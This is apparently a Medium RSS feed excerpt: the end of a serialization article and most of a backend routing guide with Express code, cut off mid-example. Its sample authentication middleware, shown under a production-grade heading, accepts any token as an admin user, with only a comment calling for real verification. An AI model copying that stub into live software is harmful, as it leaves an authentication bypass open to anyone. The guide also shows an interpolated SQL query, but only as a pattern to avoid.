OpenAPI or Swagger. Your documentation should also explain your versioning strategy and compatibility guarantees.</p><h3>Quick Implementation Checklist</h3><p>A basic Express setup can combine several of these practices:</p><pre>// Request size limit<br>app.use(express.json({ limit: &#39;10mb&#39; }));<br><br>// JSON error handling<br>app.use((err, req, res, next) =&gt; {<br>  if (err instanceof SyntaxError &amp;&amp; err.status === 400) {<br>    return res.status(400).json({ error: &#39;Invalid JSON payload&#39; });<br>  }<br>  next();<br>});<br><br>// Schema validation<br>const userSchema = zod.object({<br>  name: zod.string().min(1),<br>  email: zod.string().email(),<br>  age: zod.number().min(0).optional()<br>});<br><br>// Response DTO<br>class UserResponseDTO {<br>  constructor(user) {<br>    this.id = user.id;<br>    this.name = user.name;<br>    // Exclude sensitive data<br>  }<br>}<br><br>// Compression<br>app.use(compression());<br><br>// Monitoring<br>app.use((req, res, next) =&gt; {<br>  const start = Date.now();<br><br>  res.on(&#39;finish&#39;, () =&gt; {<br>    const duration = Date.now() - start;<br><br>    console.log(<br>      `${req.method} ${req.path} ${res.statusCode} - ${duration}ms`<br>    );<br>  });<br><br>  next();<br>});</pre><h3>11. Conclusion</h3><p>Serialization and deserialization are fundamental to distributed computing. They allow systems running in different environments to exchange structured data.</p><p>For Node.js developers, the most common tools are JSON.stringify() and JSON.parse(), while Express middleware makes the process even more seamless.</p><p>But understanding what’s happening underneath is important. Data is being converted from native objects into a transportable representation and then converted back again.</p><p>The concepts become particularly important when applications grow and you have to deal with larger payloads, higher throughput, untrusted input, schema changes, internal services, or large datasets.</p><h3>Key Takeaways:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LAgO3rPbSj50Ac1oU-XbbQ.png" /></figure><p><strong>Serialization is a universal concept.</strong> Every backend language and environment needs some mechanism for converting in-memory data into a representation that can be stored or transmitted.</p><p><strong>JSON is the industry standard.</strong> It is simple, readable, widely supported, and a natural choice for REST APIs, but it isn’t always the best option for every scenario.</p><p><strong>Security is paramount.</strong> Never trust unvalidated input. Parsing data successfully does not mean the data is safe or valid for your application.</p><p><strong>Evolution is inevitable.</strong> Data models and API contracts change, so schemas should be designed with compatibility in mind from the beginning.</p><p><strong>Performance matters.</strong> At scale, payload size, serialization time, parsing time, memory usage, and network bandwidth all contribute to system performance.</p><p><strong>Streaming is essential for large datasets.</strong> When data becomes large enough, processing it incrementally is often much better than loading everything into memory at once.</p><p>Next time you send a JSON payload from your React frontend to your Node.js backend, take a moment to think about the transformation happening between the two systems.</p><p>Your data is being converted into a standardized representation, transmitted across a network, parsed by another system, and converted back into a structure the application can work with.</p><p>In a world of different languages, runtimes, services, and infrastructure, serialization is one of the mechanisms that allows those systems to communicate.</p><h3>Resources:</h3><p><a href="https://youtu.be/vzg90tY3uM0">https://youtu.be/vzg90tY3uM0</a></p><p><a href="https://www.json.org/">JSON.org: Introducing JSON</a></p><p><a href="https://developers.google.com/protocol-buffers">Protocol Buffers Documentation</a></p><p><a href="https://avro.apache.org/docs/current/spec.html">Apache Avro Specification</a></p><p><a href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html">OWASP: Deserialization Cheat Sheet</a></p><p><a href="https://expressjs.com/en/advanced/best-practice-security.html">Express.js Security Best Practices</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8df8ce03d257" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Ultimate Guide to Routing: From Network Packets to Backend Handlers]]></title>
            <link>https://medium.com/@anuragdotdev/the-ultimate-guide-to-routing-from-network-packets-to-backend-handlers-64cc4f7fdbfa?source=rss-4f0627100668------2</link>
            <guid isPermaLink="false">https://medium.com/p/64cc4f7fdbfa</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[backend-development]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Conveytoanurag]]></dc:creator>
            <pubDate>Wed, 26 Aug 2026 08:55:46 GMT</pubDate>
            <atom:updated>2026-08-26T08:58:57.451Z</atom:updated>
            <content:encoded><![CDATA[<h4>A Complete End-to-End Reference for Backend Engineers</h4><h3>Introduction: The Two Worlds of Routing</h3><p>Every time you type a URL into your browser or tap a button in a mobile app, your request starts a journey through multiple layers of the internet.</p><p>The data is broken into packets and travels through routers, networks, and physical infrastructure before reaching the server responsible for your application. Once the request reaches the correct server, another form of routing takes place.</p><p>The backend framework then determines which piece of application code should handle that request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KR4toKanJZCknQfUnVBAAQ.png" /></figure><p>This gives us two different but connected concepts:</p><ol><li><strong>Network routing</strong>, which determines how packets travel across networks.</li><li><strong>Backend routing</strong>, which determines which server-side code handles an HTTP request.</li></ol><p>Understanding both makes it much easier to understand what actually happens when a client communicates with a backend.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CBxs_U8KnSN_2ptPN0UjUw.png" /></figure><h3>Part I: Network Layer Routing</h3><h3>1.1 What Is Network Routing?</h3><p>At the network layer, which is <strong>OSI Layer 3</strong>, routing is the process of selecting a path for data packets to travel from a source to a destination across interconnected networks.</p><p>When you send a request from your laptop to a server in another country, the packets may pass through multiple routers and networks before reaching the destination.</p><p>Routers make forwarding decisions based on information stored in their routing tables. These decisions determine where the packet should go next.</p><p>The process can involve thousands of routers, different networks, Internet Service Providers, cloud providers, and physical links.</p><h3>1.2 The Core Components</h3><h3>Routers</h3><p>Routers are networking devices responsible for forwarding packets between different networks. They inspect packet information and determine the appropriate next hop.</p><h3>Routing Tables</h3><p>A routing table contains information that helps a router decide where to forward packets. A typical routing table includes details such as the destination network, next-hop address, network interface, and route metric. When a packet arrives, the router checks its destination address against the entries in the routing table and selects the most appropriate route for forwarding the packet.</p><h3>Routing Protocols</h3><p>Routing protocols allow routers to exchange information and automatically update routing information. Some commonly used routing protocols include <strong>BGP (Border Gateway Protocol)</strong>, <strong>OSPF (Open Shortest Path First)</strong>, and <strong>RIP (Routing Information Protocol)</strong>. These protocols are used in different networking environments and are designed to solve different routing problems.</p><h3>1.3 Static vs. Dynamic Routes</h3><p>The distinction between static and dynamic routing is important because the same idea appears later when discussing backend routing.</p><h3>Static Routes</h3><p>A static route is manually configured by a network administrator.</p><p>For example:</p><pre>All traffic for 192.168.1.0/24 goes through eth0.</pre><p>Static routes are predictable and relatively simple, but they do not automatically adapt when network conditions change.</p><h3>Dynamic Routes</h3><p>Dynamic routes are learned and updated automatically through routing protocols.</p><p>For example, BGP is used to exchange routing information between autonomous systems, while OSPF is commonly used within an autonomous system. <br>Dynamic routing allows networks to respond to changes such as link failures and topology changes.</p><h3>1.4 Key Routing Protocols</h3><h3>BGP</h3><p><strong>Border Gateway Protocol (BGP)</strong> is used to exchange routing information between autonomous systems.</p><p>Autonomous systems can include:</p><ul><li>Internet Service Providers</li><li>Cloud providers</li><li>Large enterprises</li><li>Other independently managed networks</li></ul><p>BGP is one of the fundamental protocols that makes global Internet routing possible.</p><h3>OSPF</h3><p><strong>Open Shortest Path First (OSPF)</strong> is an interior gateway protocol used within an autonomous system.<br>It calculates routes using a link-state approach and uses Dijkstra’s shortest path algorithm.</p><h3>RIP</h3><p><strong>Routing Information Protocol (RIP)</strong> is an older and simpler routing protocol.<br>It primarily uses hop count as its routing metric and has significant limitations compared with modern routing protocols.</p><h3>1.5 Routing Blackholes</h3><p>Sometimes a router receives a packet for a destination network for which it does not have a valid route.<br>In such cases, the router may drop the packet instead of forwarding it.<br>This situation is commonly referred to as a <strong>routing black hole</strong>.<br>From the application’s perspective, this can eventually appear as a timeout or failed network request because the packet never reaches the intended destination.</p><h3>Part II: Backend Routing</h3><p>Once the request reaches the appropriate server or infrastructure, another routing process begins.<br>This is the type of routing most backend developers interact with directly.</p><h3>2.1 What Is Backend Routing?</h3><p>Backend routing is the process of mapping an incoming HTTP request to a specific piece of server-side code.<br>The routing decision is primarily based on two things:</p><ul><li>HTTP method</li><li>URL path</li></ul><p>For example:</p><pre>GET /users<br>POST /users<br>GET /users/42<br>DELETE /users/42</pre><p>Each combination can map to a different handler.</p><h3>The Method: What the Client Wants to Do</h3><p>The HTTP method represents the intended operation.</p><p>Common methods include:</p><ul><li>GET for retrieving data</li><li>POST for creating data</li><li>PUT for replacing data</li><li>PATCH for partially updating data</li><li>DELETE for removing data</li></ul><h3>The Path: What Resource Is Being Targeted</h3><p>The URL path identifies the resource or collection involved in the request.</p><p>Examples include:</p><pre>/users<br>/products/42<br>/orders/recent</pre><h3>The Route Key</h3><p>A backend server does not normally identify a route using only the URL path.</p><p>It considers the <strong>HTTP method and path together</strong>.</p><p>For example:</p><pre>GET /api/orders<br>POST /api/orders</pre><p>Both requests use the same path, but they represent different operations.</p><p>The method and path together form the routing information needed to select the appropriate handler.</p><h3>2.2 Anatomy of a Route Handler</h3><p>A typical route involves several layers of processing.</p><p>Four important components are:</p><h3>1. Match Conditions</h3><p>The router determines whether the HTTP method and URL path match a registered route.</p><h3>2. Extraction Logic</h3><p>The application extracts information from the request, such as:</p><ul><li>Path parameters</li><li>Query parameters</li><li>Request body</li></ul><h3>3. Middleware Stack</h3><p>Middleware functions can perform processing before the main handler executes.</p><p>Examples include:</p><ul><li>Authentication</li><li>Authorization</li><li>Logging</li><li>Rate limiting</li><li>Request validation</li></ul><h3>4. Handler or Controller</h3><p>The handler contains the application logic responsible for processing the request and generating a response.</p><p>A simplified flow looks like this:</p><pre>HTTP Request<br>     ↓<br>Route Matching<br>     ↓<br>Middleware<br>     ↓<br>Handler / Controller<br>     ↓<br>Database or Other Services<br>     ↓<br>HTTP Response</pre><h3>2.3 Core Backend Routing Patterns</h3><h3>A. Static Routes</h3><p>Static routes are fixed URL paths that do not contain dynamic values.</p><p>Examples:</p><pre>/health<br>/api/books<br>/api/status</pre><p>A static route can be useful for collections, health checks, and other fixed endpoints.</p><p>For example:</p><pre>GET /api/books</pre><p>could return a list of books.</p><p>The HTTP method still matters. A server could potentially define different behavior for:</p><pre>GET /api/books<br>DELETE /api/books</pre><p>The path is the same, but the operation is different.</p><h3>B. Dynamic Routes and Path Parameters</h3><p>Static routes are not practical when working with individual resources.</p><p>Imagine an application with thousands of users.</p><p>Creating a separate route for every user would be impractical:</p><pre>/users/1<br>/users/2<br>/users/3<br>...</pre><p>Instead, frameworks provide dynamic routes.</p><p>In Express:</p><pre>/users/:userId</pre><p>In Django:</p><pre>/users/&lt;int:user_id&gt;</pre><p>A request such as:</p><pre>GET /users/42</pre><p>can match:</p><pre>/users/:userId</pre><p>The router extracts:</p><pre>userId = 42</pre><h3>Path Parameters Represent Identity</h3><p>Path parameters primarily answer:</p><blockquote><em>Which specific resource are we talking about?</em></blockquote><p>For example:</p><pre>/users/42</pre><p>Here, 42 identifies a particular user.</p><p>Modern frameworks can also validate parameter formats.</p><p>For example:</p><pre>/users/:userId(\d+)</pre><p>can restrict the parameter to numeric values.</p><p>This can prevent invalid requests from reaching the database unnecessarily.</p><h3>C. Query Parameters</h3><p>Query parameters are commonly used to send additional information with a URL.</p><p>They appear after a ? and use key-value pairs.</p><p>For example:</p><pre>/api/search?q=tesla&amp;year=2023&amp;sort=asc</pre><p>Here:</p><pre>q=tesla<br>year=2023<br>sort=asc</pre><p>are query parameters.</p><p>Query parameters are particularly useful for filtering, sorting, pagination, searching, and providing optional configuration.</p><h3>Path Parameters vs. Query Parameters</h3><p>The distinction is important.</p><h3>Path Parameters</h3><p>Path parameters identify a resource.</p><p>Example:</p><pre>/users/42</pre><p>The 42 identifies the user.</p><h3>Query Parameters</h3><p>Query parameters modify how a collection is retrieved.</p><p>Example:</p><pre>/users?page=2&amp;limit=20</pre><p>The parameters control pagination rather than identifying a specific user.</p><p>A useful rule is:</p><blockquote><em>Use path parameters to identify resources and query parameters to filter, sort, search, or paginate them.</em></blockquote><h3>Advanced Query Parameter Patterns</h3><h3>Multiple Values</h3><p>The same parameter can appear multiple times:</p><pre>?id=1&amp;id=2&amp;id=3</pre><p>Some applications also use array-style syntax:</p><pre>?id[]=1&amp;id[]=2&amp;id[]=3</pre><h3>URL Encoding</h3><p>Query parameters are URL encoded.</p><p>For example, spaces may be represented as:</p><pre>%20</pre><p>or:</p><pre>+</pre><p>depending on the encoding context.</p><h3>URL Size Limits</h3><p>Although the URL specification does not define one universal maximum URL length, browsers, proxies, web servers, and infrastructure components often impose practical limits.</p><p>If a request requires a large amount of data, it is generally more appropriate to send that data in the request body using methods such as POST or PUT.</p><h3>D. Nested Routes</h3><p>Nested routes express relationships between resources.</p><p>A common pattern is:</p><pre>/resourceA/:id/resourceB/:subId</pre><p>For example:</p><pre>GET /companies</pre><p>returns all companies.</p><pre>GET /companies/22</pre><p>returns company 22.</p><pre>GET /companies/22/employees</pre><p>returns employees belonging to company 22.</p><pre>GET /companies/22/employees/7</pre><p>returns employee 7 within the context of company 22.</p><p>This can make an API structure easier to understand when the relationship between resources is important.</p><h3>The Deep Nesting Problem</h3><p>Although nested routes are useful, excessive nesting can make an API difficult to maintain.</p><p>For example:</p><pre>/users/1/posts/2/comments/5/reactions</pre><p>The deeper the URL becomes, the more tightly the API can become coupled to the application’s data relationships.</p><p>Deep nesting can create several problems:</p><ul><li>More complex URLs</li><li>More difficult client-side navigation</li><li>More complicated authorization logic</li><li>Stronger coupling to the data model</li><li>More difficult caching</li><li>More difficult API evolution</li></ul><p>A practical approach is to keep nesting relatively shallow.</p><p>If a resource has a globally unique identifier, it can often be exposed directly.</p><p>Instead of:</p><pre>/users/1/posts/2/comments/5</pre><p>you could use:</p><pre>/comments/5</pre><p>If context is needed, query parameters can be used:</p><pre>/comments?postId=2</pre><p>The exact design depends on the API’s requirements, but avoiding unnecessary nesting generally produces a more maintainable API.</p><h3>E. Route Versioning</h3><p>APIs evolve over time. A response format that works today may need to change later.</p><p>For example, suppose an API currently returns:</p><pre>{<br>  &quot;username&quot;: &quot;john&quot;<br>}</pre><p>A future version might want to return:</p><pre>{<br>  &quot;fullName&quot;: &quot;John Doe&quot;<br>}</pre><p>Changing the existing endpoint immediately could break clients that still expect the old response format.</p><p>This is where API versioning becomes useful.</p><h3>Common Versioning Approaches</h3><h3>URL Path Versioning</h3><p>One common approach is:</p><pre>/api/v1/products<br>/api/v2/products</pre><p>This approach is explicit and easy to understand. It is also straightforward to test and debug.</p><h3>Query String Versioning</h3><p>Another approach is:</p><pre>/api/products?version=2</pre><p>This keeps the version outside the main path, but can be more difficult to handle consistently across caching layers and gateways.</p><h3>Accept Header Versioning</h3><p>Another option is content negotiation through the Accept header:</p><pre>Accept: application/vnd.myapi.v2+json</pre><p>This keeps version information out of the URL, but is less obvious when testing requests manually.</p><h3>API Deprecation</h3><p>When a new API version becomes available, the old version usually needs a migration period.</p><p>For example:</p><pre>v1 → deprecated<br>v2 → current</pre><p>During this period, clients can migrate from v1 to v2.</p><p>HTTP provides mechanisms for communicating deprecation information, including:</p><pre>Deprecation<br>Sunset</pre><p>The Sunset header can communicate when an API or resource is expected to become unavailable. A clear deprecation policy gives client developers time to migrate without unexpected breaking changes.</p><h3>F. Catch-All Routes</h3><p>Not every incoming request will match a valid route.</p><p>For example:</p><pre>GET /api/random-endpoint</pre><p>If the endpoint does not exist, the server should return a meaningful response rather than exposing an internal framework error.</p><p>A catch-all route can handle unmatched requests.</p><p>For example:</p><pre>app.all(&#39;*&#39;, (req, res) =&gt; {<br>  res.status(404).json({<br>    error: &#39;Route not found&#39;<br>  });<br>});</pre><p>The response should communicate that the requested resource does not exist.</p><p>A typical response might be:</p><pre>{<br>  &quot;error&quot;: &quot;Route not found&quot;,<br>  &quot;status&quot;: 404<br>}</pre><p>It is also useful to distinguish between:</p><ul><li>404 Not Found: the requested route does not exist.</li><li>405 Method Not Allowed: the route exists, but the requested HTTP method is not supported.</li></ul><p>This distinction provides better information to API consumers.</p><h3>Part III: Advanced Backend Routing Concepts</h3><h3>3.1 Under the Hood: How Routing Engines Match Routes</h3><p>Routing may look simple from the application developer’s perspective, but internally it relies on data structures and matching algorithms.</p><p>Different frameworks and routers can use different approaches. Two common approaches are linear route matching and tree-based route matching.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*78NekZcnv3royv-Fbl3VCg.png" /></figure><h3>1. Linear Matching</h3><p>In a simple linear routing implementation, routes can be stored in an ordered collection. When a request arrives, the router checks routes one by one until it finds a match.</p><p>Conceptually:</p><pre>Route 1 → Match?<br>Route 2 → Match?<br>Route 3 → Match?<br>Route 4 → Match?<br>...</pre><p>If there are n routes, the worst-case matching process can be approximately:</p><pre>O(n)</pre><p>As the number of routes grows, the number of checks can also increase.</p><p>Route order can therefore become important in systems that use sequential matching.</p><h3>2. Radix Tree or Trie-Based Matching</h3><p>Another approach is to organize routes using a tree-like data structure.</p><p>The router can traverse the structure based on segments of the URL.</p><p>For example:</p><pre>/api<br> ├── users<br> │    ├── :userId<br> │    └── new<br> └── products<br>      └── :productId</pre><p>The matching complexity is related to the length of the path rather than simply the total number of routes.</p><p>This can make route lookup more efficient when applications have large numbers of routes.</p><p>Static routes can also be given precedence over dynamic routes in systems that need to resolve patterns such as:</p><pre>/users/new<br>/users/:id</pre><p>Without appropriate precedence rules, new could potentially be interpreted as a value for id.</p><h3>3.2 Middleware and the Routing Pipeline</h3><p>In a production backend, a request usually passes through several middleware functions before reaching the final handler.</p><p>A typical pipeline may look like:</p><pre>Request<br>   ↓<br>Logging<br>   ↓<br>Rate Limiting<br>   ↓<br>Authentication<br>   ↓<br>Authorization<br>   ↓<br>Validation / Parsing<br>   ↓<br>Route Handler<br>   ↓<br>Response</pre><p>Each layer has a specific responsibility.</p><h3>Logging and Monitoring</h3><p>Logging middleware records information such as:</p><ul><li>HTTP method</li><li>Request path</li><li>Response status</li><li>Request duration</li></ul><p>This is useful for debugging, monitoring, and performance analysis.</p><h3>Rate Limiting</h3><p>Rate limiting controls how many requests a client can make within a particular time window.</p><p>It helps protect APIs from abuse and excessive traffic.</p><p>Sensitive endpoints may require stricter limits than public endpoints.</p><h3>Authentication</h3><p>Authentication determines whether the request is associated with a valid identity.</p><p>Examples include:</p><ul><li>JWT</li><li>API keys</li><li>Sessions</li></ul><h3>Authorization</h3><p>Authentication and authorization are different.</p><p>Authentication asks:</p><blockquote><em>Who are you?</em></blockquote><p>Authorization asks:</p><blockquote><em>Are you allowed to perform this operation?</em></blockquote><p>For example, a user may be authenticated but still not have permission to access another user’s private data.</p><h3>Body Parsing</h3><p>Body parsing middleware converts incoming request data into a structure that the application can use.</p><p>For example, JSON request bodies can be parsed into JavaScript objects.</p><h3>Compression</h3><p>Compression middleware can reduce the size of HTTP responses before they are sent to the client.</p><h3>Middleware Execution Order Matters</h3><p>Middleware is executed in a specific order.</p><p>For example:</p><pre>Authentication<br>        ↓<br>Authorization</pre><p>Authorization should generally run after authentication because the application first needs to know who the user is before checking what that user is allowed to do.</p><p>Similarly, logging middleware may wrap the entire request lifecycle so that it can measure total request duration.</p><p>The middleware order is therefore part of the application’s behavior, not just an implementation detail.</p><h3>3.3 Security Considerations in Routing</h3><p>Routing is directly exposed to user-controlled input, so it must be designed with security in mind.</p><h3>Parameter Injection</h3><p>Never pass raw path or query parameters directly into SQL queries or shell commands.</p><p>For database queries, use parameterized queries and appropriate validation.</p><p>For example, avoid constructing SQL like:</p><pre>SELECT * FROM users WHERE id = ${userId}</pre><p>Instead, use the parameterization mechanism provided by your database library.</p><h3>Brute Force Attacks</h3><p>Authentication endpoints are common targets for brute force attacks.</p><p>For example:</p><pre>POST /auth/login</pre><p>may require a stricter rate limit than:</p><pre>GET /public/health</pre><p>because repeated login attempts can be used to guess credentials.</p><h3>Information Leakage</h3><p>Production applications should not expose internal stack traces to clients.</p><p>A response such as:</p><pre>Error: Database connection failed<br>at internal/file/path.js:42</pre><p>can reveal implementation details that should remain private.</p><p>A centralized error handler should return an appropriate generic response in production.</p><h3>Path Traversal</h3><p>Applications that interact with files must protect against path traversal attacks.</p><p>An attacker may attempt to use paths containing:</p><pre>../</pre><p>to access files outside the intended directory.</p><p>Input validation and secure filesystem handling are necessary to prevent this.</p><h3>Denial of Service Through Query Strings</h3><p>Large or deeply nested query parameters can consume significant CPU and memory during parsing.</p><p>Applications should therefore consider limits on:</p><ul><li>URL length</li><li>Query string size</li><li>Parameter nesting depth</li></ul><h3>Cross-Site Scripting and Cookies</h3><p>If routing and authentication involve cookies, appropriate cookie security attributes should be used.</p><p>Important attributes include:</p><pre>HttpOnly<br>Secure<br>SameSite</pre><p>These settings reduce the risk of certain classes of attacks involving browser-based authentication.</p><h3>3.4 The Nested Routing Anti-Pattern</h3><p>Deeply nested routes are worth examining more closely.</p><p>Consider:</p><pre>GET /api/v1/teams/123/members/456/projects/789/tasks/101</pre><p>At first glance, this appears descriptive because it shows the relationship between every resource.</p><p>However, it creates several problems.</p><h3>1. Brittleness</h3><p>The API becomes tightly coupled to the current data model.</p><p>If the relationship between teams, members, projects, and tasks changes, the URL structure may also need to change.</p><h3>2. Redundancy</h3><p>If a task already has a globally unique ID, specifying every parent resource may not be necessary.</p><p>The server could retrieve:</p><pre>/tasks/101</pre><p>directly.</p><h3>3. Additional Validation</h3><p>The server may need to validate every part of the hierarchy.</p><p>For example:</p><pre>Does team 123 exist?<br>Does member 456 belong to team 123?<br>Does project 789 belong to member 456?<br>Does task 101 belong to project 789?</pre><p>This can add unnecessary complexity.</p><h3>4. Caching Complexity</h3><p>Caching becomes more difficult when the same resource can be represented through long hierarchical URLs.</p><h3>Flattening the Route</h3><p>A simpler design can expose the task directly:</p><pre>GET /api/v1/tasks/101</pre><p>If filtering by context is required:</p><pre>GET /api/v1/tasks?memberId=456&amp;projectId=789</pre><p>This keeps the API easier to consume and maintain while still allowing clients to express the required context.</p><h3>Part IV: A Complete End-to-End Request Flow</h3><p>Let’s trace a request from the client to the backend and back.</p><p>Suppose a client sends:</p><pre>GET /api/v2/users/42<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yn-EqyG5N43IHavW7mJJ4g.png" /></figure><p>The request passes through multiple layers.</p><h3>1. The Client</h3><p>A browser or mobile application creates the HTTP request:</p><pre>GET /api/v2/users/42</pre><p>The request contains information such as:</p><ul><li>HTTP method</li><li>URL</li><li>Headers</li><li>Optional request body</li></ul><p>For this particular GET request, a request body is generally unnecessary.</p><h3>2. Network Routing</h3><p>The request is transported through the Internet.</p><p>Routers use routing information to forward packets toward the destination network.</p><p>Depending on the infrastructure, traffic may pass through multiple networks, routers, and autonomous systems before reaching the cloud provider or data center hosting the application.</p><p>Protocols such as BGP are involved in Internet-scale routing.</p><h3>3. Load Balancer</h3><p>If the application is running behind a load balancer, the load balancer receives the request and selects an available application server.</p><p>Examples include:</p><ul><li>Nginx</li><li>AWS Elastic Load Balancer</li><li>Other reverse proxies and load-balancing systems</li></ul><p>The purpose is to distribute incoming traffic across application instances.</p><h3>4. Web Server or Application Framework</h3><p>The selected server instance receives the HTTP request.</p><p>The application could be built using:</p><ul><li>Express</li><li>Django</li><li>Spring Boot</li><li>FastAPI</li><li>Other backend frameworks</li></ul><p>The framework now performs application-level processing.</p><h3>5. Middleware Pipeline</h3><p>The request may pass through several middleware layers.</p><p>For example:</p><pre>Logging<br>   ↓<br>Rate Limiting<br>   ↓<br>Authentication<br>   ↓<br>Authorization<br>   ↓<br>Request Parsing</pre><p>The logging middleware records the start time. The rate limiter checks whether the client has exceeded its allowed request count. Authentication validates the credentials or token. Authorization checks whether the authenticated user has permission to access the requested resource. For a GET request, body parsing may not be relevant if there is no request body.</p><h3>6. Route Matching</h3><p>The routing engine now needs to match:</p><pre>GET /api/v2/users/42</pre><p>against registered routes.</p><p>For example:</p><pre>/api/v2/users/:userId</pre><p>The router identifies the dynamic parameter:</p><pre>userId = 42</pre><h3>7. Route Handler</h3><p>The handler receives the request and processes it.</p><p>It may:</p><ol><li>Extract the userId.</li><li>Validate the value.</li><li>Query the database.</li><li>Process the result.</li><li>Construct the response.</li></ol><p>For example:</p><pre>SELECT * FROM users WHERE id = 42;</pre><p>The application may then construct a JSON response such as:</p><pre>{<br>  &quot;id&quot;: 42,<br>  &quot;fullName&quot;: &quot;John Doe&quot;<br>}</pre><h3>8. Response Travels Back</h3><p>The response then travels back through the infrastructure.</p><p>Conceptually:</p><pre>Handler<br>   ↓<br>Middleware<br>   ↓<br>Application Server<br>   ↓<br>Load Balancer<br>   ↓<br>Network<br>   ↓<br>Client</pre><p>The network routing process is involved again as the response packets travel back toward the client.</p><p>The browser or mobile application receives the response and processes it.</p><h3>Part V: Production-Grade Implementation</h3><p>Below is a complete Express example that brings together several of the concepts discussed above.</p><p>It demonstrates <strong>static routes</strong>, <strong>dynamic routes</strong>, <strong>path parameter validation</strong>, <strong>authentication middleware</strong>, <strong>authorization middleware</strong>, <strong>query parameters</strong>, <strong>nested routes</strong>, <strong>API versioning</strong>, <strong>rate limiting</strong>, <strong>method handling</strong>, <strong>catch-all routing</strong>, and <strong>global error handling</strong>.</p><pre>const express = require(&#39;express&#39;);<br>const rateLimit = require(&#39;express-rate-limit&#39;);</pre><pre>const app = express();</pre><h3>Global Middleware</h3><pre>app.use(express.json());<br>app.use(express.urlencoded({ extended: true }));</pre><p>The first middleware parses JSON request bodies.</p><p>The second parses URL-encoded request bodies.</p><h3>Logging Middleware</h3><pre>app.use((req, res, next) =&gt; {<br>  const start = Date.now();</pre><pre>  res.on(&#39;finish&#39;, () =&gt; {<br>    const duration = Date.now() - start;</pre><pre>    console.log(<br>      `[${new Date().toISOString()}] ${req.method} ${req.path} ${res.statusCode} - ${duration}ms`<br>    );<br>  });</pre><pre>  next();<br>});</pre><p>This middleware records the request method, path, response status, and total request duration.</p><h3>Rate Limiting</h3><pre>const limiter = rateLimit({<br>  windowMs: 15 * 60 * 1000,<br>  max: 100,<br>  message: {<br>    error: &#39;Too many requests, please try again later.&#39;<br>  }<br>});</pre><pre>app.use(&#39;/api&#39;, limiter);</pre><p>This applies the rate limiter to API routes.</p><p>The configuration allows up to 100 requests per IP within a 15-minute window.</p><h3>Authentication Middleware</h3><pre>const authenticate = (req, res, next) =&gt; {<br>  const token = req.headers.authorization?.split(&#39; &#39;)[1];<br>if (!token) {<br>    return res.status(401).json({<br>      error: &#39;Unauthorized: Missing authentication token&#39;<br>    });<br>  }<br> try {<br>    // Decode and verify JWT in a real application.<br>    // Example:<br>    // const decoded = jwt.verify(token, process.env.JWT_SECRET);<br>    // req.user = decoded;<br>req.user = {<br>      id: 1,<br>      role: &#39;admin&#39;,<br>      tenantId: &#39;acme&#39;<br>    };<br><br>next();<br>  } catch (error) {<br>    return res.status(401).json({<br>      error: &#39;Unauthorized: Invalid token&#39;<br>    });<br>  }<br>};</pre><p>In a real production application, the token should be cryptographically verified using an appropriate JWT library or authentication mechanism.</p><h3>Authorization Middleware</h3><p>Authentication tells us who the user is.</p><p>Authorization determines whether that user can access the requested resource.</p><pre>const authorize = (req, res, next) =&gt; {<br>  const userId = parseInt(req.params.userId);<br>  if (req.user.role === &#39;admin&#39; || req.user.id === userId) {<br>    next();<br>  } else {<br>    res.status(403).json({<br>      error: &#39;Forbidden: Insufficient permissions&#39;<br>    });<br>  }<br>};</pre><p>In this example, an administrator can access any user, while a normal user can access only their own data.</p><h3>V1 Routes</h3><h3>Static Route</h3><pre>app.get(&#39;/api/v1/books&#39;, (req, res) =&gt; {<br>  const page = parseInt(req.query.page) || 1;<br>  const limit = parseInt(req.query.limit) || 10;<br>  <br> res.json({<br>    version: &#39;v1&#39;,<br>    page,<br>    limit,<br>    data: [<br>      { id: 1, title: &#39;Book A&#39; },<br>      { id: 2, title: &#39;Book B&#39; }<br>    ]<br>  });<br>});</pre><p>This route demonstrates a static path combined with query parameters.</p><p>A request such as:</p><pre>GET /api/v1/books?page=2&amp;limit=20</pre><p>can control pagination.</p><h3>Dynamic Route with Authentication and Validation</h3><pre>app.get(<br>  &#39;/api/v1/users/:userId&#39;,<br>  authenticate,<br>  authorize,<br>  (req, res) =&gt; {<br>    const userId = parseInt(req.params.userId);<br>          <br>      if (isNaN(userId) || userId &lt;= 0) {<br>      return res.status(400).json({<br>        error: &#39;Invalid User ID. Must be a positive integer.&#39;<br>      });<br>    }<br><br>  res.json({<br>      version: &#39;v1&#39;,<br>      userId,<br>      name: &#39;John Doe&#39;,<br>      email: &#39;john.doe@example.com&#39;<br>    });<br>  }<br>);</pre><p>This route demonstrates several concepts at the same time.</p><p>The router extracts:</p><pre>userId</pre><p>from the URL. Authentication verifies the request, Authorization determines whether the user can access the resource. Finally, the handler validates the parameter and generates the response.</p><h3>Nested Route</h3><pre>app.get(<br>  &#39;/api/v1/users/:userId/posts&#39;,<br>  authenticate,<br>  authorize,<br>  (req, res) =&gt; {<br>    const userId = parseInt(req.params.userId);<br>if (isNaN(userId)) {<br>      return res.status(400).json({<br>        error: &#39;Invalid User ID&#39;<br>      });<br>    }<br><br>res.json({<br>      version: &#39;v1&#39;,<br>      userId,<br>      posts: [<br>        { id: 101, title: &#39;Post 1&#39; },<br>        { id: 102, title: &#39;Post 2&#39; }<br>      ]<br>    });<br>  }<br>);</pre><p>This route represents posts belonging to a specific user.</p><h3>Nested Route with a Specific Post</h3><pre>app.get(<br>  &#39;/api/v1/users/:userId/posts/:postId&#39;,<br>  authenticate,<br>  authorize,<br>  (req, res) =&gt; {<br>    const userId = parseInt(req.params.userId);<br>    const postId = parseInt(req.params.postId);<br>if (isNaN(userId) || isNaN(postId)) {<br>      return res.status(400).json({<br>        error: &#39;Invalid parameters&#39;<br>      });<br>    }<br>    res.json({<br>      version: &#39;v1&#39;,<br>      userId,<br>      postId,<br>      title: &#39;Specific Post&#39;,<br>      content: &#39;This is the detailed content.&#39;<br>    